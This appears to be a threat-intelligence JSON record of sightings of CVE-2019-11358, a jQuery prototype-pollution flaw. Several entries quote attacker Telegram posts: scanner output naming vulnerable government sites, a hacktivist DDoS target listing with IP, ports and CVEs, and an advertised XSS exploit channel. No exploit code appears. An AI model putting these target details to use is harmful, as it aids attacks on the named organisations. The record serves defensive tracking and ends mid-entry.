{"vulnerability": "CVE-2019-11358", "sightings": [{"uuid": "d11d5b21-a14f-4cb3-bc29-1c2809d1b9d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lmbyfspjg726", "content": "", "creation_timestamp": "2025-04-08T07:49:28.588169Z"}, {"uuid": "21b1afe3-d071-4620-bdf8-7be05884d172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://gist.github.com/AbdrrahimDahmani/980a94999ce2755c7354bb3cf48c5dbf", "content": "", "creation_timestamp": "2025-07-28T13:57:22.000000Z"}, {"uuid": "e4ef91a5-0a2f-46c9-af50-348c49841074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://gist.github.com/konard/8287f0d15724c2c5a014ad24c9a7e18b", "content": "", "creation_timestamp": "2025-10-13T07:01:07.000000Z"}, {"uuid": "df0541cc-0b30-4c5e-b064-2b11bad940f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://gist.github.com/aw-junaid/ba23240a38c5bdaa14c6c39b118441d1", "content": "", "creation_timestamp": "2026-03-14T20:58:43.000000Z"}, {"uuid": "603a334c-1eda-4292-893e-be85fe309a3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/IB5xsHiwK3sE_cIc8s1bpppSDq-XoKPQr6AESC7LWjAK", "content": "", "creation_timestamp": "2023-02-04T19:12:49.000000Z"}, {"uuid": "685f38f4-f29d-4ea8-85af-f6e91d9c2f31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/syr00000000/584", "content": "+] Vulnerable component: jquery v2.2.4 \n[!] Component location: https://moe.gov.sy/js/jquery.js \n[!] Total vulnerabilities: 3 \n[!] Summary: parseHTML() executes scripts in event handlers \n[!] Severity: medium \n[!] CVE: CVE-2015-9251 \n[!] Summary: 3rd party CORS request may execute \n[!] Severity: medium \n[!] CVE: CVE-2015-9251 \n[!] Summary: jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution \n[!] Severity: low \n[!] CVE: CVE-2019-11358", "creation_timestamp": "2025-06-08T23:22:14.000000Z"}, {"uuid": "c6d8296c-8e0f-471b-9c8f-1dd4ba985d23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/syr00000000/6451", "content": "+] Vulnerable component: jquery v2.2.4 \n[!] Component location: https://moe.gov.sy/js/jquery.js \n[!] Total vulnerabilities: 3 \n[!] Summary: parseHTML() executes scripts in event handlers \n[!] Severity: medium \n[!] CVE: CVE-2015-9251 \n[!] Summary: 3rd party CORS request may execute \n[!] Severity: medium \n[!] CVE: CVE-2015-9251 \n[!] Summary: jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution \n[!] Severity: low \n[!] CVE: CVE-2019-11358", "creation_timestamp": "2025-06-08T23:22:14.000000Z"}, {"uuid": "55686fb8-e80c-4556-895f-482be313f858", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "published-proof-of-concept", "source": "https://t.me/cyber_hsecurity/4452", "content": "This exploit targets jQuery <3.4.X, using CVE-2020-7656 for script injection and CVE-2019-11358 for prototype pollution, allowing XSS. Affects vulnerable sites on Win, Ubuntu, Chrome, Firefox. Risks include data theft, session hijacking. Estimated impact: millions globally.\n\nJoin: https://t.me/+qeejqIiGum9jOTI9\nContact: @a1887bot", "creation_timestamp": "2025-05-04T07:31:23.000000Z"}, {"uuid": "e8ca4b7d-555b-4e65-855b-faf88c5d9385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/_gPsCNC-_x8ycQ3_o1-7qmiG09dpkskcNkYHBBd6FBq5gg", "content": "", "creation_timestamp": "2024-11-22T19:22:00.000000Z"}, {"uuid": "3ef81188-0c47-41e8-8534-dd778b828d0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/KQJ2fokDRUpEEMEdtilLJpNYW94QEwCQWFCqP7BH6XiY", "content": "", "creation_timestamp": "2024-09-12T10:16:41.000000Z"}, {"uuid": "28f18d78-6a99-4dbf-933d-b33ad8c66cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/jokeir7x0/923", "content": "\u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0627\u0644\u0643\u0648\u0643\u064a\u0632 \u063a\u064a\u0631 \u0627\u0644\u0622\u0645\u0646\u0629:\n\n\u0627\u0644\u0643\u0648\u0643\u064a\u0632: TS018af834\n\u0627\u0644\u0625\u0639\u062f\u0627\u062f\u0627\u062a:\n\u0645\u062c\u0627\u0644 \u0627\u0644\u0643\u0648\u0643\u064a\u0632 \u0648\u0627\u0633\u0639 \u062c\u062f\u064b\u0627: .www.adjd.gov.ae\n\u063a\u064a\u0627\u0628 \u0639\u0644\u0645 \u0627\u0644\u0623\u0645\u0627\u0646 Secure: \u0627\u0644\u0643\u0648\u0643\u064a\u0632 \u0644\u0627 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0623\u0645\u0627\u0646.\n\u0631\u0624\u0648\u0633 \u0627\u0644\u0623\u0645\u0627\u0646 \u0627\u0644\u0645\u0641\u0642\u0648\u062f\u0629:\n\nReferrer-Policy: \u063a\u064a\u0631 \u0645\u0648\u062c\u0648\u062f \u0641\u064a \u0627\u0633\u062a\u062c\u0627\u0628\u0627\u062a HTTP.\nContent-Security-Policy: \u063a\u064a\u0631 \u0645\u0648\u062c\u0648\u062f \u0641\u064a \u0627\u0633\u062a\u062c\u0627\u0628\u0627\u062a HTTP.\n\u0645\u0644\u0641 security.txt \u0645\u0641\u0642\u0648\u062f:\n\n\u0627\u0644\u0645\u0648\u0642\u0639: https://www.adjd.gov.ae/.well-known/security.txt\n\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a \u0627\u0644\u0642\u062f\u064a\u0645\u0629:\n\njQuery:\n\u0627\u0644\u0625\u0635\u062f\u0627\u0631: 2.2.0\n\u062b\u063a\u0631\u0627\u062a:\nCVE-2015-9251: XSS \u0645\u0646 \u062e\u0644\u0627\u0644 \u0637\u0644\u0628\u0627\u062a Ajax \u0639\u0628\u0631 \u0627\u0644\u0646\u0637\u0627\u0642\u0627\u062a.\nCVE-2019-11358: \u062a\u0644\u0648\u062b \u0628\u0631\u0648\u062a\u0648\u062a\u0627\u064a\u0628 \u0639\u0628\u0631 jQuery.extend.\nCVE-2020-11022: \u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642 \u0639\u0646\u062f \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 HTML.\nCVE-2020-11023: \u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642 \u0639\u0646\u062f \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 HTML.\n\u062a\u064f\u0639\u062a\u0628\u0631 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0630\u0627\u062a \u0623\u0647\u0645\u064a\u0629\u060c \u0648\u064a\u062c\u0628 \u0645\u0639\u0627\u0644\u062c\u062a\u0647\u0627 \u0628\u0633\u0631\u0639\u0629 \u0644\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u0623\u0645\u0627\u0646.", "creation_timestamp": "2024-09-24T19:34:14.000000Z"}, {"uuid": "bab0b1cb-99f6-4c70-9d47-0ee247f842e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/3827", "content": "\u0633\u0652\u0645\u0650 \u0627\u0644\u0644\u064e\u0651\u0647\u0650 \u0627\u0644\u0631\u064e\u0651\u062d\u0652\u0645\u064e\u0646\u0650 \u0627\u0644\u0631\u064e\u0651\u062d\u0650\u064a\u0645\n\u0627\u0644\u0644\u0647 \u0623\u0643\u0628\u0631\u00a0\u00a0\u0627\u0644\u0644\u0647 \u0623\u0643\u0628\u0631\u00a0\u00a0\u0627\u0644\u0644\u0647 \u0623\u0643\u0628\u0631\n\u0625\u0646 \u0634\u0627\u0621 \u0627\u0644\u0644\u0647\n\nMASA DDOS : 0\u20e38\u20e3:0\u20e30\u20e3pm\nTARIKH : 14.MAY.2024\n\nTARGET : https://cacpa.in/\nIP:        209.133.201.83\nHostname:  209-133-201-83.static.hvvc.us\nISP:       HIVELOCITY, Inc.\nASN:       AS29802\nORG:       HIVELOCITY, Inc.\nDomain: hvvc.us | adisol.in | advancegroups.co.in |\nPorts: 21 | 53 | 80 | 110 | 143 | 443 | 465 | 993 | 995 | 2082 | 2083 | 2086 | 2087 |\nHTTP status: 200 | 301 |\nProvider: HIVELOCITY, Inc.\nOrganization: HIVELOCITY, Inc.\nPossible vulnerabilities: cve-2015-9251 | cve-2019-11358 | cve-2020-11022 | cve-2020-11023 |\nGreetz:- All Muslim Hackers\n\n#TengkorakCyberCrew \n#EagleCyberCrew\n#RipperSec\n#KhalifahCyberCrew\n#HelangMerahGroup \n#LaskarPembebasanPalestina\n#TeamCyberAbabil\n#Cyberwar PaLestiNe 3.0\n#TABM MALAYSIA-PALESTINE (MyPA)\n\nCome join us!!\nhttps://t.me/MalaysiaHacktivist\nhttps://t.me/MalaysiaHacktivistz", "creation_timestamp": "2024-05-14T15:27:29.000000Z"}, {"uuid": "ae56cbf5-466e-439b-975a-a09020d70697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/kU7kHp4aeEpuBdZIemSwltxw19S0Tb4eoPjWy-lAZMSYE2U", "content": "", "creation_timestamp": "2024-08-24T22:11:31.000000Z"}, {"uuid": "f6e00cee-f83b-4de7-95b0-1babeec93543", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/247", "content": "\u0633\u0652\u0645\u0650 \u0627\u0644\u0644\u064e\u0651\u0647\u0650 \u0627\u0644\u0631\u064e\u0651\u062d\u0652\u0645\u064e\u0646\u0650 \u0627\u0644\u0631\u064e\u0651\u062d\u0650\u064a\u0645\n\u0627\u0644\u0644\u0647 \u0623\u0643\u0628\u0631\u00a0\u00a0\u0627\u0644\u0644\u0647 \u0623\u0643\u0628\u0631\u00a0\u00a0\u0627\u0644\u0644\u0647 \u0623\u0643\u0628\u0631\n\u0625\u0646 \u0634\u0627\u0621 \u0627\u0644\u0644\u0647\n\nMASA DDOS : 0\u20e38\u20e3:0\u20e30\u20e3pm\nTARIKH : 14.MAY.2024\n\nTARGET : https://cacpa.in/\nIP:        209.133.201.83\nHostname:  209-133-201-83.static.hvvc.us\nISP:       HIVELOCITY, Inc.\nASN:       AS29802\nORG:       HIVELOCITY, Inc.\nDomain: hvvc.us | adisol.in | advancegroups.co.in |\nPorts: 21 | 53 | 80 | 110 | 143 | 443 | 465 | 993 | 995 | 2082 | 2083 | 2086 | 2087 |\nHTTP status: 200 | 301 |\nProvider: HIVELOCITY, Inc.\nOrganization: HIVELOCITY, Inc.\nPossible vulnerabilities: cve-2015-9251 | cve-2019-11358 | cve-2020-11022 | cve-2020-11023 |\nGreetz:- All Muslim Hackers\n\n#TengkorakCyberCrew \n#EagleCyberCrew\n#RipperSec\n#KhalifahCyberCrew\n#HelangMerahGroup \n#LaskarPembebasanPalestina\n#TeamCyberAbabil\n#Cyberwar PaLestiNe 3.0\n#TABM MALAYSIA-PALESTINE (MyPA)\n\nCome join us!!\nhttps://t.me/MalaysiaHacktivist\nhttps://t.me/MalaysiaHacktivistz", "creation_timestamp": "2024-05-14T15:27:29.000000Z"}, {"uuid": "0d16285c-52bf-42c7-86b5-e5386000ca9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/XxXgk4bFYiuwGQd-EERBJYxklIetIEWzgWw4Ih1W-fQSvg", "content": "", "creation_timestamp": "2024-11-22T19:22:02.000000Z"}, {"uuid": "becc2330-955b-435b-b20f-77f7942e3782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/OWepUrYBT1Q8Xq8JQgixRkzpMadxAs2WeCCT-ozQ7b6fem39", "content": "", "creation_timestamp": "2024-07-20T22:01:57.000000Z"}, {"uuid": "d4a38119-1f32-4bb1-87e1-0c369fff85a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/w1YjfwKaJ0EGlxE51nZ-sFpyxTPOjBzL3SriRihCiG-TX1BC", "content": "", "creation_timestamp": "2024-07-20T22:01:42.000000Z"}, {"uuid": "a47a9906-cee6-4eb3-b137-c264c17e82de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/HackerNewsAR/1101", "content": "\u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u0646\u0634\u0631\u062a \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0645\u0648\u062c\u0648\u062f\u0629 \u0641\u064a \u0645\u0648\u0642\u0639 \u0646\u0642\u0627\u0628\u0629 \u0627\u0644\u0645\u062d\u0627\u0645\u064a\u0646 \u0648\u0647\u064a \u0643\u0627\u0644\u062a\u0627\u0644\u064a :\n\u2699\ufe0f \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a JQuery \u062c\u064a \u0643\u0648\u064a\u0631\u064a \"\u0645\u0643\u062a\u0628\u0629 \u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u062c\u0627\u0641\u0627 \u0633\u0643\u0631\u064a\u0628\u062a\" \u062a\u062d\u0645\u0644 \u0627\u0644\u0627\u0633\u0645 CVE-2020-11023 \u0644\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0636\u0627\u0631\u0629.\n\u2699\ufe0f \u062b\u063a\u0631\u0629 \u062a\u062d\u0645\u0644 \u0627\u0644\u0627\u0633\u0645 CVE-2020-11022 \u0648\u0647\u064a \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0627\u0644\u0646\u0635\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u0645\u0648\u0627\u0642\u0639 (XSS) \u0641\u064a JQuery . \u064a\u0633\u0645\u062d \u0647\u0630\u0627 \u0627\u0644\u062e\u0644\u0644 \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u062a\u0648\u0641\u064a\u0631 \u0645\u062f\u062e\u0644\u0627\u062a \u0644\u0648\u0638\u064a\u0641\u0629 \"HTML\" \u0644\u0625\u062f\u062e\u0627\u0644 Javascript \u0641\u064a \u0627\u0644\u0635\u0641\u062d\u0629 \u062d\u064a\u062b \u064a\u062a\u0645 \u0639\u0631\u0636 \u0647\u0630\u0627 \u0627\u0644\u0625\u062f\u062e\u0627\u0644 \u060c \u0648\u062a\u0633\u0644\u064a\u0645\u0647 \u0628\u0648\u0627\u0633\u0637\u0629 \u0627\u0644\u0645\u062a\u0635\u0641\u062d.\n\u2699\ufe0f \u062b\u063a\u0631\u0629 \u0639\u0645\u0631\u0647\u0627 \u062a\u0633\u0639 \u0633\u0646\u0648\u0627\u062a \u062a\u062d\u062a \u0627\u0633\u0645 CVE-2015-9251 \u064a\u0643\u0648\u0646 jQuery \u0642\u0628\u0644 \u0627\u0644\u0625\u0635\u062f\u0627\u0631 3.0.0 \u0639\u0631\u0636\u0629 \u0644\u0647\u062c\u0645\u0627\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0627\u0644\u0646\u0635\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u0645\u0648\u0627\u0642\u0639 (XSS) \u0639\u0646\u062f \u062a\u0646\u0641\u064a\u0630 \u0637\u0644\u0628 Ajax \u0639\u0628\u0631 \u0627\u0644\u0645\u062c\u0627\u0644 \u062f\u0648\u0646 \u062e\u064a\u0627\u0631 dataType\u060c \u0645\u0645\u0627 \u064a\u062a\u0633\u0628\u0628 \u0641\u064a \u062a\u0646\u0641\u064a\u0630 \u0627\u0633\u062a\u062c\u0627\u0628\u0627\u062a \u0646\u0635\u064a\u0629/\u062c\u0627\u0641\u0627 \u0633\u0643\u0631\u064a\u0628\u062a.\n\u2699\ufe0f \u062b\u063a\u0631\u0629 CVE-2019-11358 \u062a\u0633\u0645\u062d \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0641\u064a jQuery \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0634\u0648\u0627\u0626\u064a\u0629 \u0641\u064a \u0645\u062a\u0635\u0641\u062d \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u064a\u0645\u0643\u0646\u0647 \u0627\u0644\u062a\u062d\u0643\u0645 \u0641\u064a \u0628\u0631\u0646\u0627\u0645\u062c \u0645\u0639\u064a\u0646.\n\u2699\ufe0f \u062b\u063a\u0631\u0629 CVE-2021-23445 \u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u062a\u062d\u064a\u064a\u062f \u063a\u064a\u0631 \u0635\u062d\u064a\u062d \u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0625\u062f\u062e\u0627\u0644 \u0641\u064a datatables.net. \u0642\u062f \u062a\u0624\u062f\u064a \u0625\u0644\u0649 \u0627\u0644\u0633\u0645\u0627\u062d \u0628\u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0627\u0644\u0639\u0627\u0628\u0631\u0629 \u0644\u0644\u0645\u0648\u0627\u0642\u0639 \u0623\u0648 \u0647\u062c\u0648\u0645 \u062d\u0642\u0646 \u0627\u0644\u0646\u0635\u0648\u0635 \u0627\u0644\u0628\u0631\u0645\u062d\u064a\u0629 \u0639\u0628\u0631 \u0645\u0648\u0642\u0639 \u0648\u0633\u064a\u0637 (XSS).\n\u2699\ufe0f \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0646 \u0628\u0639\u062f \u062a\u062d\u0645\u0644 \u0627\u0644\u0627\u0633\u0645 CVE-2023-42118\n\n\u0641\u064a \u0627\u0644\u0623\u062e\u064a\u0631 \u0630\u0643\u0631\u062a \u0645\u062c\u0645\u0648\u0639\u0629 One Piece \u0623\u0646 \u0625\u0647\u0627\u0646\u0629 \u0634\u0647\u062f\u0627\u0621 \u0627\u0644\u062c\u0632\u0627\u0626\u0631 \u0645\u0646 \u0627\u0644\u0628\u0639\u0636 \u0644\u064a\u0633\u062a \u0645\u0646 \u0639\u0644\u0627\u0645\u0627\u062a \u0627\u0644\u0631\u062c\u0648\u0644\u0629 \u0648\u0644\u0627 \u0645\u0646 \u0635\u0641\u0627\u062a \u0627\u0644\u0645\u0633\u0644\u0645\u064a\u0646 \u060c \u0644\u0623\u0646 \u0647\u0646\u0627\u0643 \u0647\u062f\u0641 \u0648\u0627\u062d\u062f \u0645\u0634\u062a\u0631\u0643 \u0648\u0647\u0648 \u0627\u0644\u0643\u064a\u0627\u0646 \u0627\u0644\u0635\u06c1\u064a\u0648\u0646\u064a \u0644\u0630\u0627 \u064a\u062c\u0628 \u0627\u0646\u062a\u0628\u0627\u0647 \u062c\u064a\u062f\u0627\u064b \u0644\u0644\u0647\u062f\u0641 \u0627\u0644\u0623\u0633\u0627\u0633\u064a.", "creation_timestamp": "2024-05-30T01:51:17.000000Z"}, {"uuid": "51b40a65-7f25-40c6-841e-7679b79aec49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/RipperSec/2001", "content": "\u0633\u0652\u0645\u0650 \u0627\u0644\u0644\u064e\u0651\u0647\u0650 \u0627\u0644\u0631\u064e\u0651\u062d\u0652\u0645\u064e\u0646\u0650 \u0627\u0644\u0631\u064e\u0651\u062d\u0650\u064a\u0645\n\u0627\u0644\u0644\u0647 \u0623\u0643\u0628\u0631\u00a0\u00a0\u0627\u0644\u0644\u0647 \u0623\u0643\u0628\u0631\u00a0\u00a0\u0627\u0644\u0644\u0647 \u0623\u0643\u0628\u0631\n\u0625\u0646 \u0634\u0627\u0621 \u0627\u0644\u0644\u0647\n\nMASA DDOS : 0\u20e38\u20e3:0\u20e30\u20e3pm\nTARIKH : 14.MAY.2024\n\nTARGET : https://cacpa.in/\nIP:        209.133.201.83\nHostname:  209-133-201-83.static.hvvc.us\nISP:       HIVELOCITY, Inc.\nASN:       AS29802\nORG:       HIVELOCITY, Inc.\nDomain: hvvc.us | adisol.in | advancegroups.co.in |\nPorts: 21 | 53 | 80 | 110 | 143 | 443 | 465 | 993 | 995 | 2082 | 2083 | 2086 | 2087 |\nHTTP status: 200 | 301 |\nProvider: HIVELOCITY, Inc.\nOrganization: HIVELOCITY, Inc.\nPossible vulnerabilities: cve-2015-9251 | cve-2019-11358 | cve-2020-11022 | cve-2020-11023 |\nGreetz:- All Muslim Hackers\n\n#TengkorakCyberCrew \n#EagleCyberCrew\n#RipperSec\n#KhalifahCyberCrew\n#HelangMerahGroup \n#LaskarPembebasanPalestina\n#TeamCyberAbabil\n#Cyberwar PaLestiNe 3.0\n#TABM MALAYSIA-PALESTINE (MyPA)\n\nCome join us!!\nhttps://t.me/MalaysiaHacktivist\nhttps://t.me/MalaysiaHacktivistz", "creation_timestamp": "2024-05-14T14:06:19.000000Z"}, {"uuid": "a54d0c4f-a22e-4ed1-a75b-509decae9b7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/arpsyndicate/1913", "content": "#ExploitObserverAlert\n\nCVE-2019-11358\n\nDESCRIPTION: Exploit Observer has 3669 entries related to CVE-2019-11358. jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.\n\nFIRST-EPSS: 0.029520000\nNVD-IS: 2.7\nNVD-ES: 2.8", "creation_timestamp": "2023-12-18T04:38:58.000000Z"}, {"uuid": "adbab0e4-a83f-486b-8c1a-61600306f820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/arpsyndicate/510", "content": "#ExploitObserverAlert\n\nCVE-2019-11358\n\nDESCRIPTION: Exploit Observer has 3662 entries related to CVE-2019-11358. jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.\n\nFIRST-EPSS: 0.029520000\nNVD-IS: 2.7\nNVD-ES: 2.8", "creation_timestamp": "2023-11-23T21:36:37.000000Z"}, {"uuid": "91df0a4e-1da0-4e39-8812-6500f6c4ef08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/arpsyndicate/1551", "content": "#ExploitObserverAlert\n\nCVE-2019-11358\n\nDESCRIPTION: Exploit Observer has 3667 entries related to CVE-2019-11358. jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.\n\nFIRST-EPSS: 0.029520000\nNVD-IS: 2.7\nNVD-ES: 2.8", "creation_timestamp": "2023-12-08T11:50:33.000000Z"}, {"uuid": "a37b80e8-343a-4790-b36d-93d9133a489e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/_8ZL5qt-1oGojxv22dU451_0g677lxSwyLpoT_xQkV3Y42k0", "content": "", "creation_timestamp": "2023-11-25T00:45:50.000000Z"}, {"uuid": "264f0601-e587-4b09-a8fd-30d7cf57d250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/KMPteam/1901", "content": "\u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u0646\u0634\u0631\u062a \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0645\u0648\u062c\u0648\u062f\u0629 \u0641\u064a \u0645\u0648\u0642\u0639 \u0646\u0642\u0627\u0628\u0629 \u0627\u0644\u0645\u062d\u0627\u0645\u064a\u0646 \u0648\u0647\u064a \u0643\u0627\u0644\u062a\u0627\u0644\u064a :\n\u2699\ufe0f \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a JQuery \u062c\u064a \u0643\u0648\u064a\u0631\u064a \"\u0645\u0643\u062a\u0628\u0629 \u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u062c\u0627\u0641\u0627 \u0633\u0643\u0631\u064a\u0628\u062a\" \u062a\u062d\u0645\u0644 \u0627\u0644\u0627\u0633\u0645 CVE-2020-11023 \u0644\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0636\u0627\u0631\u0629.\n\u2699\ufe0f \u062b\u063a\u0631\u0629 \u062a\u062d\u0645\u0644 \u0627\u0644\u0627\u0633\u0645 CVE-2020-11022 \u0648\u0647\u064a \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0627\u0644\u0646\u0635\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u0645\u0648\u0627\u0642\u0639 (XSS) \u0641\u064a JQuery . \u064a\u0633\u0645\u062d \u0647\u0630\u0627 \u0627\u0644\u062e\u0644\u0644 \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 